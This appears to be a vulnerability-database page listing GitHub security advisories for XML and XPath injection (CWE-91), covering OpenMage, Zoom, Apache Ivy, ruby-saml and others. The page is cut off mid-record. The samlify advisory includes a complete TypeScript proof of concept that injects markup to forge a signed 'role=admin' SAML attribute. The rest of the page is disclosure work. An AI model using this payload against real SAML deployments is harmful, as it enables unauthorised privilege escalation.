CWE-91
Allowed-with-ReviewXML Injection (aka Blind XPath Injection)
Abstraction: Base · Status: Draft
The product does not properly neutralize special elements that are used in XML, allowing attackers to modify the syntax, content, or commands of the XML before it is processed by an end system.
190 vulnerabilities reference this CWE, most recent first.
GHSA-26RR-V2J2-25FH
Vulnerability from github – Published: 2021-08-30 17:20 – Updated: 2021-08-30 16:42Impact
Layout XML enabled admin users to execute arbitrary commands via block methods.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "openmage/magento-lts"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "19.4.15"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "openmage/magento-lts"
},
"ranges": [
{
"events": [
{
"introduced": "20.0.0"
},
{
"fixed": "20.0.13"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-32758"
],
"database_specific": {
"cwe_ids": [
"CWE-91"
],
"github_reviewed": true,
"github_reviewed_at": "2021-08-30T16:42:41Z",
"nvd_published_at": "2021-08-27T18:15:00Z",
"severity": "HIGH"
},
"details": "### Impact\nLayout XML enabled admin users to execute arbitrary commands via block methods.",
"id": "GHSA-26rr-v2j2-25fh",
"modified": "2021-08-30T16:42:41Z",
"published": "2021-08-30T17:20:52Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/OpenMage/magento-lts/security/advisories/GHSA-26rr-v2j2-25fh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-32758"
},
{
"type": "WEB",
"url": "https://github.com/OpenMage/magento-lts/commit/b99307d00b59c4a226a1e3e4083f02cf2fc8fce7"
},
{
"type": "WEB",
"url": "https://github.com/OpenMage/magento-lts/releases/tag/v19.4.15"
},
{
"type": "WEB",
"url": "https://github.com/OpenMage/magento-lts/releases/tag/v20.0.13"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "Layout XML Arbitrary Code Fix "
}
GHSA-2894-36C8-F98V
Vulnerability from github – Published: 2022-05-19 00:00 – Updated: 2022-05-28 00:00The Zoom Client for Meetings (for Android, iOS, Linux, MacOS, and Windows) before version 5.10.0 failed to properly parse XML stanzas in XMPP messages. This can allow a malicious user to break out of the current XMPP message context and create a new message context to have the receiving users client perform a variety of actions.This issue could be used in a more sophisticated attack to forge XMPP messages from the server.
{
"affected": [],
"aliases": [
"CVE-2022-22784"
],
"database_specific": {
"cwe_ids": [
"CWE-91"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-05-18T16:15:00Z",
"severity": "HIGH"
},
"details": "The Zoom Client for Meetings (for Android, iOS, Linux, MacOS, and Windows) before version 5.10.0 failed to properly parse XML stanzas in XMPP messages. This can allow a malicious user to break out of the current XMPP message context and create a new message context to have the receiving users client perform a variety of actions.This issue could be used in a more sophisticated attack to forge XMPP messages from the server.",
"id": "GHSA-2894-36c8-f98v",
"modified": "2022-05-28T00:00:27Z",
"published": "2022-05-19T00:00:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-22784"
},
{
"type": "WEB",
"url": "https://explore.zoom.us/en/trust/security/security-bulletin"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-2G98-F9JV-W8C5
Vulnerability from github – Published: 2024-05-20 18:06 – Updated: 2024-05-20 18:06A vulnerability has been identified in the robrichards/xmlseclibs library, specifically related to XPath injection. The issue arises from inadequate filtering of user input before it is incorporated into XPath expressions.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "robrichards/xmlseclibs"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0"
},
{
"fixed": "3.0.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-91"
],
"github_reviewed": true,
"github_reviewed_at": "2024-05-20T18:06:52Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "A vulnerability has been identified in the robrichards/xmlseclibs library, specifically related to XPath injection. The issue arises from inadequate filtering of user input before it is incorporated into XPath expressions.",
"id": "GHSA-2g98-f9jv-w8c5",
"modified": "2024-05-20T18:06:52Z",
"published": "2024-05-20T18:06:52Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/robrichards/xmlseclibs/commit/649032643f7aac493e91ca318da0339aec72aa4a"
},
{
"type": "WEB",
"url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/robrichards/xmlseclibs/2018-09-27.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/robrichards/xmlseclibs"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "robrichards/xmlseclibs XPath injection"
}
GHSA-2H59-FHPR-VFX4
Vulnerability from github – Published: 2023-09-27 15:30 – Updated: 2024-04-04 07:54A remote code execution (RCE) vulnerability in the xmlrpc.php endpoint of NodeBB Inc NodeBB forum software prior to v1.18.6 allows attackers to execute arbitrary code via crafted XML-RPC requests.
{
"affected": [],
"aliases": [
"CVE-2023-43187"
],
"database_specific": {
"cwe_ids": [
"CWE-91"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-09-27T15:19:33Z",
"severity": "CRITICAL"
},
"details": "A remote code execution (RCE) vulnerability in the xmlrpc.php endpoint of NodeBB Inc NodeBB forum software prior to v1.18.6 allows attackers to execute arbitrary code via crafted XML-RPC requests.",
"id": "GHSA-2h59-fhpr-vfx4",
"modified": "2024-04-04T07:54:35Z",
"published": "2023-09-27T15:30:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-43187"
},
{
"type": "WEB",
"url": "https://github.com/jagat-singh-chaudhary/CVE/blob/main/CVE-2023-43187"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-2HJG-246P-2F5P
Vulnerability from github – Published: 2022-03-11 00:02 – Updated: 2024-09-18 21:30An issue was discovered in OverIT Geocall before 8.0. An authenticated user who has the Test Trasformazione XSL functionality enabled can exploit a XSLT Injection vulnerability. Attackers could exploit this issue to achieve remote code execution.
{
"affected": [],
"aliases": [
"CVE-2022-22834"
],
"database_specific": {
"cwe_ids": [
"CWE-91"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-03-10T17:45:00Z",
"severity": "HIGH"
},
"details": "An issue was discovered in OverIT Geocall before 8.0. An authenticated user who has the Test Trasformazione XSL functionality enabled can exploit a XSLT Injection vulnerability. Attackers could exploit this issue to achieve remote code execution.",
"id": "GHSA-2hjg-246p-2f5p",
"modified": "2024-09-18T21:30:37Z",
"published": "2022-03-11T00:02:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-22834"
},
{
"type": "WEB",
"url": "https://labs.yarix.com/2022/03/overit-framework-xslt-injection-and-xxe-cve-2022-22834-cve-2022-22835"
},
{
"type": "WEB",
"url": "https://labs.yarix.com/advisories/cve-2022-22834"
},
{
"type": "WEB",
"url": "https://overit.us/products/geocall"
},
{
"type": "WEB",
"url": "https://www.overit.ai/product/nextgen-fsm"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-2JC4-R94C-RP7H
Vulnerability from github – Published: 2023-08-21 09:30 – Updated: 2025-02-13 19:10Improper Restriction of XML External Entity Reference, XML Injection (aka Blind XPath Injection) vulnerability in Apache Software Foundation Apache Ivy.This issue affects any version of Apache Ivy prior to 2.5.2.
When Apache Ivy prior to 2.5.2 parses XML files - either its own configuration, Ivy files or Apache Maven POMs - it will allow downloading external document type definitions and expand any entity references contained therein when used.
This can be used to exfiltrate data, access resources only the machine running Ivy has access to or disturb the execution of Ivy in different ways.
Starting with Ivy 2.5.2 DTD processing is disabled by default except when parsing Maven POMs where the default is to allow DTD processing but only to include a DTD snippet shipping with Ivy that is needed to deal with existing Maven POMs that are not valid XML files but are nevertheless accepted by Maven. Access can be be made more lenient via newly introduced system properties where needed.
Users of Ivy prior to version 2.5.2 can use Java system properties to restrict processing of external DTDs, see the section about "JAXP Properties for External Access restrictions" inside Oracle's "Java API for XML Processing (JAXP) Security Guide".
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.ivy:ivy"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.5.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-46751"
],
"database_specific": {
"cwe_ids": [
"CWE-611",
"CWE-91"
],
"github_reviewed": true,
"github_reviewed_at": "2023-08-21T20:39:45Z",
"nvd_published_at": "2023-08-21T07:15:33Z",
"severity": "HIGH"
},
"details": "Improper Restriction of XML External Entity Reference, XML Injection (aka Blind XPath Injection) vulnerability in Apache Software Foundation Apache Ivy.This issue affects any version of Apache Ivy prior to 2.5.2.\n\nWhen Apache Ivy prior to 2.5.2 parses XML files - either its own configuration, Ivy files or Apache Maven POMs - it will allow downloading external document type definitions and expand any entity references contained therein when used.\n\nThis can be used to exfiltrate data, access resources only the machine running Ivy has access to or disturb the execution of Ivy in different ways.\n\nStarting with Ivy 2.5.2 DTD processing is disabled by default except when parsing Maven POMs where the default is to allow DTD processing but only to include a DTD snippet shipping with Ivy that is needed to deal with existing Maven POMs that are not valid XML files but are nevertheless accepted by Maven. Access can be be made more lenient via newly introduced system properties where needed.\n\nUsers of Ivy prior to version 2.5.2 can use Java system properties to restrict processing of external DTDs, see the section about \"JAXP Properties for External Access restrictions\" inside Oracle\u0027s \"Java API for XML Processing (JAXP) Security Guide\".",
"id": "GHSA-2jc4-r94c-rp7h",
"modified": "2025-02-13T19:10:25Z",
"published": "2023-08-21T09:30:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-46751"
},
{
"type": "WEB",
"url": "https://github.com/apache/ant-ivy/commit/2be17bc18b0e1d4123007d579e43ba1a4b6fab3d"
},
{
"type": "WEB",
"url": "https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-94ABC0EE-9DC8-44F0-84AD-47ADD5340477"
},
{
"type": "WEB",
"url": "https://gitbox.apache.org/repos/asf?p=ant-ivy.git;a=commit;h=2be17bc18b0e1d4123007d579e43ba1a4b6fab3d"
},
{
"type": "PACKAGE",
"url": "https://github.com/apache/ant-ivy"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/1dj60hg5nr36kjr4p1100dwjrqookps8"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/9gcz4xrsn8c7o9gb377xfzvkb8jltffr"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2023/09/06/9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Apache Ivy External Entity Reference vulnerability"
}
GHSA-2MPF-G3VG-QCCM
Vulnerability from github – Published: 2022-05-05 00:28 – Updated: 2023-04-26 21:30D-Link DIR-865L has PHP File Inclusion in the router xml file.
{
"affected": [],
"aliases": [
"CVE-2013-4857"
],
"database_specific": {
"cwe_ids": [
"CWE-91"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-10-25T16:15:00Z",
"severity": "HIGH"
},
"details": "D-Link DIR-865L has PHP File Inclusion in the router xml file.",
"id": "GHSA-2mpf-g3vg-qccm",
"modified": "2023-04-26T21:30:29Z",
"published": "2022-05-05T00:28:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2013-4857"
},
{
"type": "WEB",
"url": "https://www.ise.io/casestudies/exploiting-soho-routers"
},
{
"type": "WEB",
"url": "https://www.ise.io/soho_service_hacks"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-3254-FHC5-J338
Vulnerability from github – Published: 2022-11-11 19:00 – Updated: 2022-11-16 12:00XML injection in the Intel(R) Quartus Prime Pro and Standard edition software may allow an unauthenticated user to potentially enable information disclosure via network access.
{
"affected": [],
"aliases": [
"CVE-2022-27233"
],
"database_specific": {
"cwe_ids": [
"CWE-91"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-11-11T16:15:00Z",
"severity": "HIGH"
},
"details": "XML injection in the Intel(R) Quartus Prime Pro and Standard edition software may allow an unauthenticated user to potentially enable information disclosure via network access.",
"id": "GHSA-3254-fhc5-j338",
"modified": "2022-11-16T12:00:20Z",
"published": "2022-11-11T19:00:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-27233"
},
{
"type": "WEB",
"url": "https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00659.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-34R5-Q4JW-R36M
Vulnerability from github – Published: 2026-05-21 17:14 – Updated: 2026-06-09 13:12Summary
samlify’s template substitution only escapes attribute contexts. Values inserted into element text (e.g., <saml:AttributeValue>) are not escaped. A normal user can inject XML markup into an attribute value (e.g., email, name) and add new <saml:Attribute> elements inside the signed assertion. The IdP then signs the tampered assertion and the SP accepts the injected attributes as trusted. This allows privilege escalation when attributes are used for authorization (roles/groups).
Root Cause
src/libsaml.ts → replaceTagsByValue() only escapes placeholders when preceded by a quote (attribute context). Element text is inserted raw. The attribute builder inserts placeholders into element text:
<saml:AttributeValue ...>{attrUserX}</saml:AttributeValue>
Therefore, </saml:AttributeValue>…<saml:Attribute …> is accepted and signed.
Proof-of-concept
- poc/attribute_injection.ts
import { readFileSync } from 'fs';
import * as samlify from '../index';
import * as validator from '@authenio/samlify-xsd-schema-validator';
samlify.setSchemaValidator(validator);
const { IdentityProvider, ServiceProvider, SamlLib: libsaml, Utility: util } = samlify as any;
const loginResponseTemplate = {
context: '<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="{ID}" Version="2.0" IssueInstant="{IssueInstant}" Destination="{Destination}" InResponseTo="{InResponseTo}"><saml:Issuer>{Issuer}</saml:Issuer><samlp:Status><samlp:StatusCode Value="{StatusCode}"/></samlp:Status><saml:Assertion ID="{AssertionID}" Version="2.0" IssueInstant="{IssueInstant}" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"><saml:Issuer>{Issuer}</saml:Issuer><saml:Subject><saml:NameID Format="{NameIDFormat}">{NameID}</saml:NameID><saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"><saml:SubjectConfirmationData NotOnOrAfter="{SubjectConfirmationDataNotOnOrAfter}" Recipient="{SubjectRecipient}" InResponseTo="{InResponseTo}"/></saml:SubjectConfirmation></saml:Subject><saml:Conditions NotBefore="{ConditionsNotBefore}" NotOnOrAfter="{ConditionsNotOnOrAfter}"><saml:AudienceRestriction><saml:Audience>{Audience}</saml:Audience></saml:AudienceRestriction></saml:Conditions>{AttributeStatement}</saml:Assertion></samlp:Response>',
attributes: [
{ name: 'mail', valueTag: 'user.email', nameFormat: 'urn:oasis:names:tc:SAML:2.0:attrname-format:basic', valueXsiType: 'xs:string' },
{ name: 'injection', valueTag: 'user.injection', nameFormat: 'urn:oasis:names:tc:SAML:2.0:attrname-format:basic', valueXsiType: 'xs:string' },
],
};
const idp = IdentityProvider({
privateKey: readFileSync('./test/key/idp/privkey.pem'),
privateKeyPass: 'q9ALNhGT5EhfcRmp8Pg7e9zTQeP2x1bW',
isAssertionEncrypted: false,
metadata: readFileSync('./test/misc/idpmeta.xml'),
loginResponseTemplate,
});
const sp = ServiceProvider({
privateKey: readFileSync('./test/key/sp/privkey.pem'),
privateKeyPass: 'VHOSp5RUiBcrsjrcAuXFwU1NKCkGA8px',
isAssertionEncrypted: false,
metadata: readFileSync('./test/misc/spmeta.xml'),
});
const buildTemplate = (_idp: any, _sp: any, _binding: any, user: any) => (template: string) => {
const now = new Date();
const fiveMinutesLater = new Date(now.getTime() + 300_000);
const tvalue = {
ID: _idp.entitySetting.generateID(),
AssertionID: _idp.entitySetting.generateID(),
Destination: _sp.entityMeta.getAssertionConsumerService('post'),
Audience: _sp.entityMeta.getEntityID(),
SubjectRecipient: _sp.entityMeta.getAssertionConsumerService('post'),
NameIDFormat: 'urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress',
NameID: user.email,
Issuer: _idp.entityMeta.getEntityID(),
IssueInstant: now.toISOString(),
ConditionsNotBefore: now.toISOString(),
ConditionsNotOnOrAfter: fiveMinutesLater.toISOString(),
SubjectConfirmationDataNotOnOrAfter: fiveMinutesLater.toISOString(),
InResponseTo: 'request-id',
StatusCode: 'urn:oasis:names:tc:SAML:2.0:status:Success',
attrUserEmail: user.email,
attrUserInjection: user.injection,
};
return { id: tvalue.ID, context: libsaml.replaceTagsByValue(template, tvalue) };
};
async function main() {
const injection = [
'safe',
'</saml:AttributeValue></saml:Attribute>',
'<saml:Attribute Name="role" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">',
'<saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">admin</saml:AttributeValue>',
'</saml:Attribute>',
'<saml:Attribute Name="injection" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">',
'<saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">safe'
].join('');
const user = { email: 'user@esaml2.com', injection };
const { context: SAMLResponse } = await idp.createLoginResponse(
sp,
{ extract: { request: { id: 'request-id' } } },
'post',
user,
buildTemplate(idp, sp, 'post', user)
);
const xml = util.base64Decode(SAMLResponse, true).toString();
console.log('--- Generated XML snippet ---');
console.log(xml.slice(xml.indexOf('<saml:AttributeStatement'), xml.indexOf('</saml:AttributeStatement>') + 26));
const { extract } = await sp.parseLoginResponse(idp, 'post', { body: { SAMLResponse } });
console.log('Parsed attributes:', extract.attributes);
}
main().catch(err => {
console.error('PoC failed:', err?.message || err);
process.exitCode = 1;
});
Run:
npm install --legacy-peer-deps
npx ts-node poc/attribute_injection.ts
Impact
A normal user can inject arbitrary attributes (e.g., role=admin) into a signed assertion and have them parsed by sp.parseLoginResponse(). This can grant elevated privileges in SPs that trust SAML attributes.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "samlify"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.13.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-46490"
],
"database_specific": {
"cwe_ids": [
"CWE-91"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-21T17:14:07Z",
"nvd_published_at": "2026-06-08T19:16:45Z",
"severity": "HIGH"
},
"details": "## Summary\n\nsamlify\u2019s template substitution only escapes attribute contexts. Values inserted into element text (e.g., `\u003csaml:AttributeValue\u003e`) are not escaped. A normal user can inject XML markup into an attribute value (e.g., email, name) and add new `\u003csaml:Attribute\u003e` elements inside the signed assertion. The IdP then signs the tampered assertion and the SP accepts the injected attributes as trusted. This allows privilege escalation when attributes are used for authorization (roles/groups).\n\n## Root Cause\n\n`src/libsaml.ts` \u2192 `replaceTagsByValue()` only escapes placeholders when preceded by a quote (attribute context). Element text is inserted raw. The attribute builder inserts placeholders into element text:\n\n```\n\u003csaml:AttributeValue ...\u003e{attrUserX}\u003c/saml:AttributeValue\u003e\n```\n\nTherefore, `\u003c/saml:AttributeValue\u003e\u2026\u003csaml:Attribute \u2026\u003e` is accepted and signed.\n\n## Proof-of-concept\n\n- poc/attribute_injection.ts\n\n```TS\nimport { readFileSync } from \u0027fs\u0027;\nimport * as samlify from \u0027../index\u0027;\nimport * as validator from \u0027@authenio/samlify-xsd-schema-validator\u0027;\n\nsamlify.setSchemaValidator(validator);\n\nconst { IdentityProvider, ServiceProvider, SamlLib: libsaml, Utility: util } = samlify as any;\n\nconst loginResponseTemplate = {\n context: \u0027\u003csamlp:Response xmlns:samlp=\"urn:oasis:names:tc:SAML:2.0:protocol\" xmlns:saml=\"urn:oasis:names:tc:SAML:2.0:assertion\" ID=\"{ID}\" Version=\"2.0\" IssueInstant=\"{IssueInstant}\" Destination=\"{Destination}\" InResponseTo=\"{InResponseTo}\"\u003e\u003csaml:Issuer\u003e{Issuer}\u003c/saml:Issuer\u003e\u003csamlp:Status\u003e\u003csamlp:StatusCode Value=\"{StatusCode}\"/\u003e\u003c/samlp:Status\u003e\u003csaml:Assertion ID=\"{AssertionID}\" Version=\"2.0\" IssueInstant=\"{IssueInstant}\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xs=\"http://www.w3.org/2001/XMLSchema\" xmlns:saml=\"urn:oasis:names:tc:SAML:2.0:assertion\"\u003e\u003csaml:Issuer\u003e{Issuer}\u003c/saml:Issuer\u003e\u003csaml:Subject\u003e\u003csaml:NameID Format=\"{NameIDFormat}\"\u003e{NameID}\u003c/saml:NameID\u003e\u003csaml:SubjectConfirmation Method=\"urn:oasis:names:tc:SAML:2.0:cm:bearer\"\u003e\u003csaml:SubjectConfirmationData NotOnOrAfter=\"{SubjectConfirmationDataNotOnOrAfter}\" Recipient=\"{SubjectRecipient}\" InResponseTo=\"{InResponseTo}\"/\u003e\u003c/saml:SubjectConfirmation\u003e\u003c/saml:Subject\u003e\u003csaml:Conditions NotBefore=\"{ConditionsNotBefore}\" NotOnOrAfter=\"{ConditionsNotOnOrAfter}\"\u003e\u003csaml:AudienceRestriction\u003e\u003csaml:Audience\u003e{Audience}\u003c/saml:Audience\u003e\u003c/saml:AudienceRestriction\u003e\u003c/saml:Conditions\u003e{AttributeStatement}\u003c/saml:Assertion\u003e\u003c/samlp:Response\u003e\u0027,\n attributes: [\n { name: \u0027mail\u0027, valueTag: \u0027user.email\u0027, nameFormat: \u0027urn:oasis:names:tc:SAML:2.0:attrname-format:basic\u0027, valueXsiType: \u0027xs:string\u0027 },\n { name: \u0027injection\u0027, valueTag: \u0027user.injection\u0027, nameFormat: \u0027urn:oasis:names:tc:SAML:2.0:attrname-format:basic\u0027, valueXsiType: \u0027xs:string\u0027 },\n ],\n};\n\nconst idp = IdentityProvider({\n privateKey: readFileSync(\u0027./test/key/idp/privkey.pem\u0027),\n privateKeyPass: \u0027q9ALNhGT5EhfcRmp8Pg7e9zTQeP2x1bW\u0027,\n isAssertionEncrypted: false,\n metadata: readFileSync(\u0027./test/misc/idpmeta.xml\u0027),\n loginResponseTemplate,\n});\n\nconst sp = ServiceProvider({\n privateKey: readFileSync(\u0027./test/key/sp/privkey.pem\u0027),\n privateKeyPass: \u0027VHOSp5RUiBcrsjrcAuXFwU1NKCkGA8px\u0027,\n isAssertionEncrypted: false,\n metadata: readFileSync(\u0027./test/misc/spmeta.xml\u0027),\n});\n\nconst buildTemplate = (_idp: any, _sp: any, _binding: any, user: any) =\u003e (template: string) =\u003e {\n const now = new Date();\n const fiveMinutesLater = new Date(now.getTime() + 300_000);\n const tvalue = {\n ID: _idp.entitySetting.generateID(),\n AssertionID: _idp.entitySetting.generateID(),\n Destination: _sp.entityMeta.getAssertionConsumerService(\u0027post\u0027),\n Audience: _sp.entityMeta.getEntityID(),\n SubjectRecipient: _sp.entityMeta.getAssertionConsumerService(\u0027post\u0027),\n NameIDFormat: \u0027urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress\u0027,\n NameID: user.email,\n Issuer: _idp.entityMeta.getEntityID(),\n IssueInstant: now.toISOString(),\n ConditionsNotBefore: now.toISOString(),\n ConditionsNotOnOrAfter: fiveMinutesLater.toISOString(),\n SubjectConfirmationDataNotOnOrAfter: fiveMinutesLater.toISOString(),\n InResponseTo: \u0027request-id\u0027,\n StatusCode: \u0027urn:oasis:names:tc:SAML:2.0:status:Success\u0027,\n attrUserEmail: user.email,\n attrUserInjection: user.injection,\n };\n\n return { id: tvalue.ID, context: libsaml.replaceTagsByValue(template, tvalue) };\n};\n\nasync function main() {\n const injection = [\n \u0027safe\u0027,\n \u0027\u003c/saml:AttributeValue\u003e\u003c/saml:Attribute\u003e\u0027,\n \u0027\u003csaml:Attribute Name=\"role\" NameFormat=\"urn:oasis:names:tc:SAML:2.0:attrname-format:basic\"\u003e\u0027,\n \u0027\u003csaml:AttributeValue xmlns:xs=\"http://www.w3.org/2001/XMLSchema\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:type=\"xs:string\"\u003eadmin\u003c/saml:AttributeValue\u003e\u0027,\n \u0027\u003c/saml:Attribute\u003e\u0027,\n \u0027\u003csaml:Attribute Name=\"injection\" NameFormat=\"urn:oasis:names:tc:SAML:2.0:attrname-format:basic\"\u003e\u0027,\n \u0027\u003csaml:AttributeValue xmlns:xs=\"http://www.w3.org/2001/XMLSchema\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:type=\"xs:string\"\u003esafe\u0027\n ].join(\u0027\u0027);\n\n const user = { email: \u0027user@esaml2.com\u0027, injection };\n const { context: SAMLResponse } = await idp.createLoginResponse(\n sp,\n { extract: { request: { id: \u0027request-id\u0027 } } },\n \u0027post\u0027,\n user,\n buildTemplate(idp, sp, \u0027post\u0027, user)\n );\n\n const xml = util.base64Decode(SAMLResponse, true).toString();\n console.log(\u0027--- Generated XML snippet ---\u0027);\n console.log(xml.slice(xml.indexOf(\u0027\u003csaml:AttributeStatement\u0027), xml.indexOf(\u0027\u003c/saml:AttributeStatement\u003e\u0027) + 26));\n\n const { extract } = await sp.parseLoginResponse(idp, \u0027post\u0027, { body: { SAMLResponse } });\n\n console.log(\u0027Parsed attributes:\u0027, extract.attributes);\n}\n\nmain().catch(err =\u003e {\n console.error(\u0027PoC failed:\u0027, err?.message || err);\n process.exitCode = 1;\n});\n```\n\n**Run:**\n\n```\n npm install --legacy-peer-deps\n npx ts-node poc/attribute_injection.ts\n```\n\n## Impact \n\nA normal user can inject arbitrary attributes (e.g., `role=admin`) into a signed assertion and have them parsed by `sp.parseLoginResponse()`. This can grant elevated privileges in SPs that trust SAML attributes.",
"id": "GHSA-34r5-q4jw-r36m",
"modified": "2026-06-09T13:12:28Z",
"published": "2026-05-21T17:14:07Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/tngan/samlify/security/advisories/GHSA-34r5-q4jw-r36m"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46490"
},
{
"type": "PACKAGE",
"url": "https://github.com/tngan/samlify"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "samlify: XML Injection in AttributeValue Allows Privilege Escalation in Signed SAML Assertions"
}
GHSA-36P7-XJW8-H6F2
Vulnerability from github – Published: 2018-08-21 17:08 – Updated: 2023-08-28 10:31ruby-saml prior to version 1.3.0 is vulnerable to an XML signature wrapping attack in the specific scenario where there was a signature that referenced at the same time 2 elements (but past the scheme validator process since 1 of the element was inside the encrypted assertion). ruby-saml users must update to 1.3.0, which implements 3 extra validations to mitigate this kind of attack.
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "ruby-saml"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.3.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2016-5697"
],
"database_specific": {
"cwe_ids": [
"CWE-91"
],
"github_reviewed": true,
"github_reviewed_at": "2020-06-16T20:54:16Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "ruby-saml prior to version 1.3.0 is vulnerable to an XML signature wrapping attack in the specific scenario where there was a signature that referenced at the same time 2 elements (but past the scheme validator process since 1 of the element was inside the encrypted assertion).\nruby-saml users must update to 1.3.0, which implements 3 extra validations to mitigate this kind of attack.",
"id": "GHSA-36p7-xjw8-h6f2",
"modified": "2023-08-28T10:31:36Z",
"published": "2018-08-21T17:08:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-5697"
},
{
"type": "WEB",
"url": "https://github.com/onelogin/ruby-saml/commit/a571f52171e6bfd87db59822d1d9e8c38fb3b995"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/ruby-saml/CVE-2016-5697.yml"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2016/06/24/3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
